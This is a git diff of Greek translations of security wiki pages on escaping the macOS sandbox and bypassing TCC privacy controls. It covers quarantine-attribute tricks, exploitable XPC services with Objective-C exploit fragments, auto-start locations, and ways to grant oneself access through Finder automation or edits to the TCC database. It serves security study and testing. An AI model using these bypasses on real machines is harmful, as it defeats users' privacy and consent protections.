> Επομένως, αυτή τη στιγμή, αν είστε απλώς ικανοί να δημιουργήσετε έναν φάκελο με όνομα που τελειώνει σε **`.app`** χωρίς το quarantine attribute, μπορείτε να διαφύγετε από το sandbox γιατί το macOS μόνο **ελέγχει** το **quarantine** attribute στον **φάκελο `.app`** και στο **κύριο εκτελέσιμο** (και θα δείξουμε το κύριο εκτελέσιμο στο **`/bin/bash`**).
> Επομένως, αυτή τη στιγμή, αν είστε απλώς ικανοί να δημιουργήσετε έναν φάκελο με όνομα που τελειώνει σε **`.app`** χωρίς χαρακτηριστικό καραντίνας, μπορείτε να διαφύγετε από το sandbox γιατί το macOS μόνο **ελέγχει** το **χαρακτηριστικό καραντίνας** στον **φάκελο `.app`** και στο **κύριο εκτελέσιμο** (και θα δείξουμε το κύριο εκτελέσιμο στο **`/bin/bash`**).
>
> Σημειώστε ότι αν ένα πακέτο .app έχει ήδη εξουσιοδοτηθεί να εκτελείται (έχει ένα quarantine xttr με την εξουσιοδότηση να εκτελείται), θα μπορούσατε επίσης να το εκμεταλλευτείτε... εκτός αν τώρα δεν μπορείτε να γράψετε μέσα σε **`.app`** πακέτα εκτός αν έχετε κάποιες προνομιακές άδειες TCC (που δεν θα έχετε μέσα σε ένα sandbox υψηλής ασφάλειας).
> Σημειώστε ότι αν ένα πακέτο .app έχει ήδη εξουσιοδοτηθεί να εκτελείται (έχει ένα χαρακτηριστικό καραντίνας με την εξουσιοδότηση να εκτελείται), θα μπορούσατε επίσης να το εκμεταλλευτείτε... εκτός αν τώρα δεν μπορείτε να γράψετε μέσα σε **πακέτα .app** εκτός αν έχετε κάποιες προνομιακές άδειες TCC (που δεν θα έχετε μέσα σε ένα sandbox υψηλής ασφάλειας).
### Abusing Open functionality
Στα [**τελευταία παραδείγματα παράκαμψης sandbox του Word**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv) μπορεί να εκτιμηθεί πώς η λειτουργικότητα **`open`** της γραμμής εντολών θα μπορούσε να εκμεταλλευτεί για να παρακαμφθεί το sandbox.
Στα [**τελευταία παραδείγματα παράκαμψης του Word sandbox**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv) μπορεί να εκτιμηθεί πώς η λειτουργικότητα cli του **`open`** θα μπορούσε να εκμεταλλευτεί για να παρακάμψει το sandbox.
{{#ref}}
macos-office-sandbox-bypasses.md
@ -41,7 +41,7 @@ macos-office-sandbox-bypasses.md
### Abusing Auto Start Locations
Αν μια διαδικασία που είναι σε sandbox μπορεί να **γράψει** σε ένα μέρος όπου **αργότερα μια εφαρμογή χωρίς sandbox θα εκτελέσει το δυαδικό αρχείο**, θα μπορέσει να **διαφύγει απλά τοποθετώντας** εκεί το δυαδικό αρχείο. Ένα καλό παράδειγμα αυτού του είδους τοποθεσιών είναι το `~/Library/LaunchAgents` ή το `/System/Library/LaunchDaemons`.
Αν μια διαδικασία που είναι σε sandbox μπορεί να **γράψει** σε ένα μέρος όπου **αργότερα μια εφαρμογή χωρίς sandbox θα εκτελέσει το δυαδικό αρχείο**, θα είναι σε θέση να **διαφύγει απλά τοποθετώντας** εκεί το δυαδικό αρχείο. Ένα καλό παράδειγμα αυτού του είδους τοποθεσιών είναι το `~/Library/LaunchAgents` ή το `/System/Library/LaunchDaemons`.
Για αυτό μπορεί να χρειαστείτε ακόμα και **2 βήματα**: Να κάνετε μια διαδικασία με ένα **πιο επιεική sandbox** (`file-read*`, `file-write*`) να εκτελέσει τον κώδικά σας που θα γράψει σε ένα μέρος όπου θα **εκτελείται χωρίς sandbox**.
@ -53,7 +53,7 @@ macos-office-sandbox-bypasses.md
### Abusing other processes
Αν από τη διαδικασία sandbox μπορείτε να **συμβιβάσετε άλλες διαδικασίες** που εκτελούνται σε λιγότερο περιορισμένα sandbox (ή καθόλου), θα μπορέσετε να διαφύγετε στα sandbox τους:
Αν από τη διαδικασία sandbox είστε σε θέση να **συμβιβάσετε άλλες διαδικασίες** που εκτελούνται σε λιγότερο περιοριστικά sandbox (ή καθόλου), θα είστε σε θέση να διαφύγετε στα sandbox τους:
{{#ref}}
../../../macos-proces-abuse/
@ -61,11 +61,11 @@ macos-office-sandbox-bypasses.md
### Available System and User Mach services
Το sandbox επιτρέπει επίσης την επικοινωνία με ορισμένες **Mach υπηρεσίες** μέσω XPC που ορίζονται στο προφίλ `application.sb`. Αν μπορείτε να **εκμεταλλευτείτε** μία από αυτές τις υπηρεσίες, μπορεί να είστε σε θέση να **διαφύγετε από το sandbox**.
Το sandbox επιτρέπει επίσης την επικοινωνία με ορισμένες **υπηρεσίες Mach** μέσω XPC που ορίζονται στο προφίλ `application.sb`. Αν μπορείτε να **εκμεταλλευτείτε** μία από αυτές τις υπηρεσίες, μπορεί να είστε σε θέση να **διαφύγετε από το sandbox**.
Όπως αναφέρεται σε [αυτή την ανάλυση](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/), οι πληροφορίες σχετικά με τις Mach υπηρεσίες αποθηκεύονται στο `/System/Library/xpc/launchd.plist`. Είναι δυνατόν να βρείτε όλες τις Mach υπηρεσίες του Συστήματος και του Χρήστη αναζητώντας μέσα σε αυτό το αρχείο για `<string>System</string>` και `<string>User</string>`.
Όπως αναφέρεται σε [αυτή την ανάλυση](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/), οι πληροφορίες σχετικά με τις υπηρεσίες Mach αποθηκεύονται στο `/System/Library/xpc/launchd.plist`. Είναι δυνατόν να βρείτε όλες τις υπηρεσίες Mach του Συστήματος και του Χρήστη αναζητώντας μέσα σε αυτό το αρχείο για `<string>System</string>` και `<string>User</string>`.
Επιπλέον, είναι δυνατόν να ελέγξετε αν μια Mach υπηρεσία είναι διαθέσιμη σε μια εφαρμογή που είναι σε sandbox καλώντας το `bootstrap_look_up`:
Επιπλέον, είναι δυνατόν να ελέγξετε αν μια υπηρεσία Mach είναι διαθέσιμη σε μια εφαρμογή που είναι σε sandbox καλώντας το `bootstrap_look_up`:
```objectivec
void checkService(const char *serviceName) {
mach_port_t service_port = MACH_PORT_NULL;
@ -90,7 +90,7 @@ checkService(serviceName.UTF8String);
```
### Διαθέσιμες υπηρεσίες PID Mach
Αυτές οι υπηρεσίες Mach χρησιμοποιήθηκαν αρχικά για να [ξεφύγουν από το sandbox σε αυτή την αναφορά](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/). Μέχρι τότε, **όλες οι υπηρεσίες XPC που απαιτούνταν** από μια εφαρμογή και το πλαίσιο της ήταν ορατές στο πεδίο PID της εφαρμογής (αυτές είναι οι υπηρεσίες Mach με `ServiceType` ως `Application`).
Αυτές οι υπηρεσίες Mach χρησιμοποιήθηκαν αρχικά για [να ξεφύγουν από το sandbox σε αυτή την αναφορά](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/). Τότε, **όλες οι υπηρεσίες XPC που απαιτούνται** από μια εφαρμογή και το πλαίσιο της ήταν ορατές στο πεδίο PID της εφαρμογής (αυτές είναι οι υπηρεσίες Mach με `ServiceType` ως `Application`).
Για να **επικοινωνήσετε με μια υπηρεσία XPC του PID Domain**, χρειάζεται απλώς να την καταχωρίσετε μέσα στην εφαρμογή με μια γραμμή όπως:
```objectivec
@ -130,7 +130,7 @@ NSLog(@"run task result:%@, error:%@", bSucc, error);
```
#### /System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework/XPCServices/AudioAnalyticsHelperService.xpc
Αυτή η υπηρεσία XPC επέτρεπε σε κάθε πελάτη επιστρέφοντας πάντα ΝΑΙ και η μέθοδος `createZipAtPath:hourThreshold:withReply:` ουσιαστικά επέτρεπε να υποδείξει τη διαδρομή σε έναν φάκελο για συμπίεση και θα τον συμπίεζε σε ένα αρχείο ZIP.
Αυτή η υπηρεσία XPC επέτρεπε σε κάθε πελάτη να επιστρέφει πάντα ΝΑΙ και η μέθοδος `createZipAtPath:hourThreshold:withReply:` βασικά επέτρεπε να υποδεικνύει τη διαδρομή σε έναν φάκελο προς συμπίεση και θα τον συμπίεζε σε ένα αρχείο ZIP.
Επομένως, είναι δυνατό να δημιουργηθεί μια ψεύτικη δομή φακέλου εφαρμογής, να συμπιεστεί, στη συνέχεια να αποσυμπιεστεί και να εκτελεστεί για να ξεφύγει από το sandbox καθώς τα νέα αρχεία δεν θα έχουν το χαρακτηριστικό καραντίνας.
@ -173,7 +173,7 @@ break;
```
#### /System/Library/PrivateFrameworks/WorkflowKit.framework/XPCServices/ShortcutsFileAccessHelper.xpc
Αυτή η υπηρεσία XPC επιτρέπει την παροχή πρόσβασης ανάγνωσης και εγγραφής σε μια αυθαίρετη διεύθυνση URL στον πελάτη XPC μέσω της μεθόδου `extendAccessToURL:completion:` που δέχεται οποιαδήποτε σύνδεση. Καθώς η υπηρεσία XPC έχει FDA, είναι δυνατόν να καταχραστούν αυτές οι άδειες για να παρακαμφθεί εντελώς το TCC.
Αυτή η υπηρεσία XPC επιτρέπει την παροχή δικαιωμάτων ανάγνωσης και εγγραφής σε μια αυθαίρετη διεύθυνση URL στον πελάτη XPC μέσω της μεθόδου `extendAccessToURL:completion:`, η οποία δέχεται οποιαδήποτε σύνδεση. Δεδομένου ότι η υπηρεσία XPC έχει FDA, είναι δυνατό να καταχραστεί αυτές τις άδειες για να παρακαμφθεί εντελώς το TCC.
Η εκμετάλλευση ήταν:
```objectivec
@ -207,7 +207,7 @@ NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]);
[**Αυτή η έρευνα**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) ανακάλυψε 2 τρόπους για να παρακαμφθεί το Sandbox. Επειδή το sandbox εφαρμόζεται από το userland όταν η βιβλιοθήκη **libSystem** φορτώνεται. Αν ένα δυαδικό αρχείο μπορούσε να αποφύγει τη φόρτωσή του, δεν θα υποβαλλόταν ποτέ σε sandbox:
- Αν το δυαδικό αρχείο ήταν **εντελώς στατικά συγκεντρωμένο**, θα μπορούσε να αποφύγει τη φόρτωση αυτής της βιβλιοθήκης.
- Αν το δυαδικό αρχείο ήταν **εντελώς στατικά συγκεντρωμένο**, θα μπορούσε να αποφύγει τη φόρτωσή αυτής της βιβλιοθήκης.
- Αν το **δυαδικό αρχείο δεν χρειαζόταν να φορτώσει καμία βιβλιοθήκη** (επειδή ο σύνδεσμος είναι επίσης στο libSystem), δεν θα χρειαστεί να φορτώσει το libSystem.
### Shellcodes
@ -219,7 +219,7 @@ ld: dynamic executables or dylibs must link with libSystem.dylib for architectur
```
### Όχι κληρονομούμενοι περιορισμοί
Όπως εξηγήθηκε στο **[μπόνους αυτού του κειμένου](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)**, ένας περιορισμός sandbox όπως:
Όπως εξηγήθηκε στο **[bonus of this writeup](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)**, ένας περιορισμός sandbox όπως:
```
(version 1)
(allow default)
@ -250,6 +250,7 @@ open /tmp/poc.app
Για περισσότερες πληροφορίες σχετικά με το **Interposting** ελέγξτε:
{{#ref}}
../../../macos-proces-abuse/macos-function-hooking.md
{{#endref}}
@ -372,7 +373,7 @@ gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.pli
codesign -s <cert-name> --entitlements entitlements.xml sand
```
> [!CAUTION]
> Η εφαρμογή θα προσπαθήσει να **διαβάσει** το αρχείο **`~/Desktop/del.txt`**, το οποίο η **Sandbox δεν θα επιτρέψει**.\
> Η εφαρμογή θα προσπαθήσει να **διαβάσει** το αρχείο **`~/Desktop/del.txt`**, το οποίο **η Sandbox δεν θα επιτρέψει**.\
> Δημιουργήστε ένα αρχείο εκεί καθώς μόλις παρακαμφθεί η Sandbox, θα μπορεί να το διαβάσει:
>
> ```bash

View File

@ -4,17 +4,17 @@
## **Βασικές Πληροφορίες**
**TCC (Διαφάνεια, Συναίνεση και Έλεγχος)** είναι ένα πρωτόκολλο ασφαλείας που επικεντρώνεται στη ρύθμιση των αδειών εφαρμογών. Ο κύριος ρόλος του είναι να προστατεύει ευαίσθητες δυνατότητες όπως **υπηρεσίες τοποθεσίας, επαφές, φωτογραφίες, μικρόφωνο, κάμερα, προσβασιμότητα και πλήρης πρόσβαση σε δίσκο**. Απαιτώντας ρητή συναίνεση από τον χρήστη πριν από την παροχή πρόσβασης στην εφαρμογή σε αυτά τα στοιχεία, το TCC ενισχύει την ιδιωτικότητα και τον έλεγχο του χρήστη πάνω στα δεδομένα του.
**TCC (Διαφάνεια, Συναίνεση και Έλεγχος)** είναι ένα πρωτόκολλο ασφαλείας που επικεντρώνεται στη ρύθμιση των δικαιωμάτων εφαρμογών. Ο κύριος ρόλος του είναι να προστατεύει ευαίσθητες δυνατότητες όπως **υπηρεσίες τοποθεσίας, επαφές, φωτογραφίες, μικρόφωνο, κάμερα, προσβασιμότητα και πλήρης πρόσβαση σε δίσκο**. Απαιτώντας ρητή συναίνεση από τον χρήστη πριν από την παροχή πρόσβασης στην εφαρμογή σε αυτά τα στοιχεία, το TCC ενισχύει την ιδιωτικότητα και τον έλεγχο του χρήστη πάνω στα δεδομένα του.
Οι χρήστες συναντούν το TCC όταν οι εφαρμογές ζητούν πρόσβαση σε προστατευμένες δυνατότητες. Αυτό είναι ορατό μέσω μιας προτροπής που επιτρέπει στους χρήστες να **εγκρίνουν ή να απορρίψουν την πρόσβαση**. Επιπλέον, το TCC διευκολύνει άμεσες ενέργειες του χρήστη, όπως **σύρσιμο και απόθεση αρχείων σε μια εφαρμογή**, για να παραχωρήσει πρόσβαση σε συγκεκριμένα αρχεία, διασφαλίζοντας ότι οι εφαρμογές έχουν πρόσβαση μόνο σε ό,τι έχει ρητά επιτραπεί.
![An example of a TCC prompt](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
**TCC** διαχειρίζεται από το **daemon** που βρίσκεται στο `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` και ρυθμίζεται στο `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (καταχωρώντας την υπηρεσία mach `com.apple.tccd.system`).
**TCC** διαχειρίζεται από τον **daemon** που βρίσκεται στο `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` και ρυθμίζεται στο `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (καταχωρώντας την υπηρεσία mach `com.apple.tccd.system`).
Υπάρχει ένα **tccd σε λειτουργία χρήστη** που εκτελείται ανά χρήστη που έχει συνδεθεί, ορισμένο στο `/System/Library/LaunchAgents/com.apple.tccd.plist`, καταχωρώντας τις υπηρεσίες mach `com.apple.tccd` και `com.apple.usernotifications.delegate.com.apple.tccd`.
Υπάρχει μια **tccd σε λειτουργία χρήστη** που εκτελείται ανά χρήστη που έχει συνδεθεί, καθορισμένη στο `/System/Library/LaunchAgents/com.apple.tccd.plist`, καταχωρώντας τις υπηρεσίες mach `com.apple.tccd` και `com.apple.usernotifications.delegate.com.apple.tccd`.
Εδώ μπορείτε να δείτε το tccd να εκτελείται ως σύστημα και ως χρήστης:
Εδώ μπορείτε να δείτε την tccd να εκτελείται ως σύστημα και ως χρήστης:
```bash
ps -ef | grep tcc
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
@ -27,25 +27,25 @@ ps -ef | grep tcc
Οι επιτρεπόμενες/απαγορευμένες ενέργειες αποθηκεύονται σε ορισμένες βάσεις δεδομένων TCC:
- Η βάση δεδομένων σε επίπεδο συστήματος βρίσκεται στο **`/Library/Application Support/com.apple.TCC/TCC.db`**.
- Αυτή η βάση δεδομένων είναι **SIP προστατευμένη**, οπότε μόνο μια παράκαμψη SIP μπορεί να γράψει σε αυτήν.
- Αυτή η βάση δεδομένων είναι **προστατευμένη από SIP**, οπότε μόνο μια παράκαμψη SIP μπορεί να γράψει σε αυτήν.
- Η βάση δεδομένων TCC του χρήστη **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** για προτιμήσεις ανά χρήστη.
- Αυτή η βάση δεδομένων είναι προστατευμένη, οπότε μόνο διαδικασίες με υψηλά δικαιώματα TCC όπως η Πρόσβαση σε Όλο το Δίσκο μπορούν να γράψουν σε αυτήν (αλλά δεν είναι προστατευμένη από SIP).
- Αυτή η βάση δεδομένων είναι προστατευμένη, οπότε μόνο διαδικασίες με υψηλά δικαιώματα TCC όπως η Πρόσβαση σε Όλο τον Δίσκο μπορούν να γράψουν σε αυτήν (αλλά δεν προστατεύεται από SIP).
> [!WARNING]
> Οι προηγούμενες βάσεις δεδομένων είναι επίσης **TCC προστατευμένες για πρόσβαση ανάγνωσης**. Έτσι, **δεν θα μπορείτε να διαβάσετε** τη βάση δεδομένων TCC του κανονικού σας χρήστη εκτός αν είναι από μια διαδικασία με δικαιώματα TCC.
> Οι προηγούμενες βάσεις δεδομένων είναι επίσης **προστατευμένες από TCC για πρόσβαση ανάγνωσης**. Έτσι, **δεν θα μπορείτε να διαβάσετε** τη βάση δεδομένων TCC του κανονικού σας χρήστη εκτός αν είναι από μια διαδικασία με δικαιώματα TCC.
>
> Ωστόσο, θυμηθείτε ότι μια διαδικασία με αυτά τα υψηλά δικαιώματα (όπως **FDA** ή **`kTCCServiceEndpointSecurityClient`**) θα μπορεί να γράψει στη βάση δεδομένων TCC των χρηστών.
- Υπάρχει μια **τρίτη** βάση δεδομένων TCC στο **`/var/db/locationd/clients.plist`** για να υποδείξει τους πελάτες που επιτρέπεται να **προσεγγίζουν τις υπηρεσίες τοποθεσίας**.
- Το SIP προστατευμένο αρχείο **`/Users/carlospolop/Downloads/REG.db`** (επίσης προστατευμένο από πρόσβαση ανάγνωσης με TCC), περιέχει την **τοποθεσία** όλων των **έγκυρων βάσεων δεδομένων TCC**.
- Το SIP προστατευμένο αρχείο **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (επίσης προστατευμένο από πρόσβαση ανάγνωσης με TCC), περιέχει περισσότερες άδειες που έχουν παραχωρηθεί από το TCC.
- Το SIP προστατευμένο αρχείο **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (αλλά αναγνώσιμο από οποιονδήποτε) είναι μια λίστα επιτρεπόμενων εφαρμογών που απαιτούν εξαίρεση TCC.
- Το αρχείο που προστατεύεται από SIP **`/Users/carlospolop/Downloads/REG.db`** (επίσης προστατευμένο από πρόσβαση ανάγνωσης με TCC), περιέχει την **τοποθεσία** όλων των **έγκυρων βάσεων δεδομένων TCC**.
- Το αρχείο που προστατεύεται από SIP **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (επίσης προστατευμένο από πρόσβαση ανάγνωσης με TCC), περιέχει περισσότερες άδειες που έχουν παραχωρηθεί από TCC.
- Το αρχείο που προστατεύεται από SIP **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (αλλά αναγνώσιμο από οποιονδήποτε) είναι μια λίστα επιτρεπόμενων εφαρμογών που απαιτούν εξαίρεση TCC.
> [!TIP]
> Η βάση δεδομένων TCC στο **iOS** είναι στο **`/private/var/mobile/Library/TCC/TCC.db`**.
> Η βάση δεδομένων TCC στο **iOS** βρίσκεται στο **`/private/var/mobile/Library/TCC/TCC.db`**.
> [!NOTE]
> Το **UI του κέντρου ειδοποιήσεων** μπορεί να κάνει **αλλαγές στη βάση δεδομένων TCC του συστήματος**:
> [!TIP]
> Η **διεπαφή του κέντρου ειδοποιήσεων** μπορεί να κάνει **αλλαγές στη βάση δεδομένων TCC του συστήματος**:
>
> ```bash
> codesign -dv --entitlements :- /System/Library/PrivateFrameworks/TCC.framework/> Support/tccd
@ -104,9 +104,9 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
> [!TIP]
> Ελέγχοντας και τις δύο βάσεις δεδομένων μπορείτε να ελέγξετε τις άδειες που έχει επιτρέψει μια εφαρμογή, έχει απαγορεύσει ή δεν έχει (θα ζητήσει την άδεια).
- Η **`service`** είναι η συμβολοσειρά αναπαράστασης της άδειας TCC
- Η **`client`** είναι το **bundle ID** ή η **διαδρομή προς το δυαδικό** με τις άδειες
- Η **`client_type`** υποδεικνύει αν είναι Αναγνωριστικό Πακέτου(0) ή απόλυτη διαδρομή(1)
- Η **`service`** είναι η συμβολοσειρά αναπαράστασης της **άδειας** TCC
- Ο **`client`** είναι το **bundle ID** ή η **διαδρομή προς το δυαδικό** με τις άδειες
- Ο **`client_type`** υποδεικνύει αν είναι Αναγνωριστικό Bundle(0) ή απόλυτη διαδρομή(1)
<details>
@ -186,7 +186,7 @@ tccutil reset All
```
### TCC Έλεγχοι Υπογραφής
Η TCC **βάση δεδομένων** αποθηκεύει το **Bundle ID** της εφαρμογής, αλλά επίσης **αποθηκεύει** **πληροφορίες** σχετικά με την **υπογραφή** για να **διασφαλίσει** ότι η εφαρμογή που ζητά να χρησιμοποιήσει μια άδεια είναι η σωστή.
Η βάση δεδομένων TCC **αποθηκεύει** το **Bundle ID** της εφαρμογής, αλλά επίσης **αποθηκεύει** **πληροφορίες** σχετικά με την **υπογραφή** για να **διασφαλίσει** ότι η εφαρμογή που ζητά να χρησιμοποιήσει μια άδεια είναι η σωστή.
```bash
# From sqlite
sqlite> select service, client, hex(csreq) from access where auth_value=2;
@ -203,12 +203,12 @@ csreq -t -r /tmp/telegram_csreq.bin
### Δικαιώματα & Άδειες TCC
Οι εφαρμογές **δεν χρειάζεται μόνο** να **ζητούν** και να έχουν **παραχωρημένη πρόσβαση** σε ορισμένους πόρους, αλλά πρέπει επίσης να **έχουν τα σχετικά δικαιώματα**.\
Οι εφαρμογές **δεν χρειάζεται μόνο** να **ζητούν** και να έχουν **παραχωρηθεί πρόσβαση** σε ορισμένους πόρους, αλλά πρέπει επίσης να **έχουν τα σχετικά δικαιώματα**.\
Για παράδειγμα, το **Telegram** έχει το δικαίωμα `com.apple.security.device.camera` για να ζητήσει **πρόσβαση στην κάμερα**. Μια **εφαρμογή** που **δεν έχει** αυτό το **δικαίωμα δεν θα μπορεί** να έχει πρόσβαση στην κάμερα (και ο χρήστης δεν θα ρωτηθεί καν για τις άδειες).
Ωστόσο, για να **έχουν πρόσβαση** οι εφαρμογές σε **ορισμένους φακέλους χρηστών**, όπως `~/Desktop`, `~/Downloads` και `~/Documents`, **δεν χρειάζεται** να έχουν κανένα συγκεκριμένο **δικαίωμα.** Το σύστημα θα διαχειριστεί διαφανώς την πρόσβαση και θα **ζητήσει από τον χρήστη** όπως απαιτείται.
Οι εφαρμογές της Apple **δεν θα δημιουργήσουν προτροπές**. Περιέχουν **προπαραχωρημένα δικαιώματα** στη λίστα **δικαιωμάτων** τους, που σημαίνει ότι **δεν θα δημιουργήσουν ποτέ αναδυόμενο παράθυρο**, **ούτε** θα εμφανιστούν σε καμία από τις **βάσεις δεδομένων TCC.** Για παράδειγμα:
Οι εφαρμογές της Apple **δεν θα δημιουργήσουν προτροπές**. Περιέχουν **προπαραχωρημένα δικαιώματα** στη λίστα **δικαιωμάτων** τους, που σημαίνει ότι **ποτέ δεν θα δημιουργήσουν αναδυόμενο παράθυρο**, **ούτε** θα εμφανιστούν σε καμία από τις **βάσεις δεδομένων TCC.** Για παράδειγμα:
```bash
codesign -dv --entitlements :- /System/Applications/Calendar.app
[...]
@ -234,7 +234,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
### Πρόθεση Χρήστη / com.apple.macl
Όπως αναφέρθηκε προηγουμένως, είναι δυνατό να **παραχωρήσετε πρόσβαση σε μια εφαρμογή σε ένα αρχείο σύροντας και αποθέτοντας το σε αυτήν**. Αυτή η πρόσβαση δεν θα καθοριστεί σε καμία βάση δεδομένων TCC αλλά ως **εκτεταμένο** **χαρακτηριστικό του αρχείου**. Αυτό το χαρακτηριστικό θα **αποθηκεύει το UUID** της επιτρεπόμενης εφαρμογής:
Όπως αναφέρθηκε προηγουμένως, είναι δυνατό να **παραχωρήσετε πρόσβαση σε μια εφαρμογή σε ένα αρχείο σύροντας και αποθέτοντας το σε αυτήν**. Αυτή η πρόσβαση δεν θα καθορίζεται σε καμία βάση δεδομένων TCC αλλά ως **εκτεταμένο** **χαρακτηριστικό του αρχείου**. Αυτό το χαρακτηριστικό θα **αποθηκεύει το UUID** της επιτρεπόμενης εφαρμογής:
```bash
xattr Desktop/private.txt
com.apple.macl
@ -249,8 +249,8 @@ Filename,Header,App UUID
otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
```
> [!NOTE]
> Είναι περίεργο ότι το **`com.apple.macl`** χαρακτηριστικό διαχειρίζεται από το **Sandbox**, όχι από το tccd.
> [!TIP]
> Είναι περίεργο ότι το **`com.apple.macl`** χαρακτηριστικό διαχειρίζεται από το **Sandbox**, όχι το tccd.
>
> Επίσης, σημειώστε ότι αν μεταφέρετε ένα αρχείο που επιτρέπει το UUID μιας εφαρμογής στον υπολογιστή σας σε διαφορετικό υπολογιστή, επειδή η ίδια εφαρμογή θα έχει διαφορετικά UIDs, δεν θα παραχωρήσει πρόσβαση σε αυτή την εφαρμογή.
@ -363,7 +363,7 @@ EOD
> [!WARNING]
> Με αυτή την άδεια θα μπορείτε να **ζητήσετε από τον Finder να αποκτήσει πρόσβαση σε περιορισμένους φακέλους TCC** και να σας δώσει τα αρχεία, αλλά όσο γνωρίζω δεν θα **μπορείτε να κάνετε τον Finder να εκτελεί αυθαίρετο κώδικα** για να εκμεταλλευτείτε πλήρως την πρόσβαση FDA του.
>
> Επομένως, δεν θα μπορείτε να εκμεταλλευτείτε πλήρως τις δυνατότητες της FDA.
> Επομένως, δεν θα μπορείτε να εκμεταλλευτείτε τις πλήρεις δυνατότητες της FDA.
Αυτή είναι η προτροπή TCC για να αποκτήσετε δικαιώματα Αυτοματοποίησης πάνω στον Finder:
@ -400,7 +400,7 @@ EOD
### Αυτοματοποίηση (SE) σε κάποια TCC
**Τα System Events μπορούν να δημιουργήσουν Folder Actions, και οι Folder actions μπορούν να έχουν πρόσβαση σε ορισμένους φακέλους TCC** (Επιφάνεια Εργασίας, Έγγραφα & Λήψεις), οπότε ένα σενάριο όπως το παρακάτω μπορεί να χρησιμοποιηθεί για να εκμεταλλευτεί αυτή τη συμπεριφορά:
**Τα System Events μπορούν να δημιουργήσουν Folder Actions, και οι Folder actions μπορούν να έχουν πρόσβαση σε ορισμένους φακέλους TCC** (Desktop, Documents & Downloads), οπότε ένα σενάριο όπως το παρακάτω μπορεί να χρησιμοποιηθεί για να εκμεταλλευτεί αυτή τη συμπεριφορά:
```bash
# Create script to execute with the action
cat > "/tmp/script.js" <<EOD
@ -502,7 +502,7 @@ EOF
### Αρχείο SysAdmin Πολιτικής Συστήματος για FDA
**`kTCCServiceSystemPolicySysAdminFiles`** επιτρέπει να **αλλάξετε** την **`NFSHomeDirectory`** ιδιότητα ενός χρήστη που αλλάζει τον φάκελο του και επομένως επιτρέπει να **παρακάμψει το TCC**.
**`kTCCServiceSystemPolicySysAdminFiles`** επιτρέπει να **αλλάξετε** την **`NFSHomeDirectory`** ιδιότητα ενός χρήστη που αλλάζει τον φάκελο του και επομένως επιτρέπει να **παρακάμψετε το TCC**.
### Βάση Δεδομένων TCC Χρήστη για FDA
@ -510,11 +510,11 @@ EOF
Αλλά μπορείτε να **δώσετε** στον εαυτό σας **`Automation rights to Finder`**, και να καταχραστείτε την προηγούμενη τεχνική για να κλιμακωθείτε σε FDA\*.
### **FDA σε TCC δικαιώματα**
### **FDA σε δικαιώματα TCC**
**Full Disk Access** είναι το όνομα TCC **`kTCCServiceSystemPolicyAllFiles`**
Δεν νομίζω ότι είναι πραγματική privesc, αλλά για κάθε περίπτωση που μπορεί να το βρείτε χρήσιμο: Αν ελέγχετε ένα πρόγραμμα με FDA μπορείτε να **τροποποιήσετε τη βάση δεδομένων TCC των χρηστών και να δώσετε στον εαυτό σας οποιαδήποτε πρόσβαση**. Αυτό μπορεί να είναι χρήσιμο ως τεχνική επιμονής σε περίπτωση που μπορεί να χάσετε τα δικαιώματα FDA.
Δεν νομίζω ότι αυτό είναι πραγματική privesc, αλλά για κάθε περίπτωση που μπορεί να το βρείτε χρήσιμο: Αν ελέγχετε ένα πρόγραμμα με FDA μπορείτε να **τροποποιήσετε τη βάση δεδομένων TCC των χρηστών και να δώσετε στον εαυτό σας οποιαδήποτε πρόσβαση**. Αυτό μπορεί να είναι χρήσιμο ως τεχνική επιμονής σε περίπτωση που μπορεί να χάσετε τα δικαιώματα FDA.
### **SIP Bypass για TCC Bypass**
@ -556,11 +556,12 @@ AllowApplicationsList.plist:
```
### TCC Bypasses
{{#ref}}
macos-tcc-bypasses/
{{#endref}}
## References
## Αναφορές
- [**https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)
- [**https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command**](https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command)

View File

@ -16,18 +16,18 @@ ls: Desktop: Operation not permitted
username@hostname ~ % cat Desktop/lalala
asd
```
Το **εκτεταμένο χαρακτηριστικό `com.apple.macl`** προστίθεται στο νέο **αρχείο** για να δώσει στην **εφαρμογή των δημιουργών** πρόσβαση για να το διαβάσει.
Η **εκτεταμένη ιδιότητα `com.apple.macl`** προστίθεται στο νέο **αρχείο** για να δώσει στην **εφαρμογή του δημιουργού** πρόσβαση για να το διαβάσει.
### TCC ClickJacking
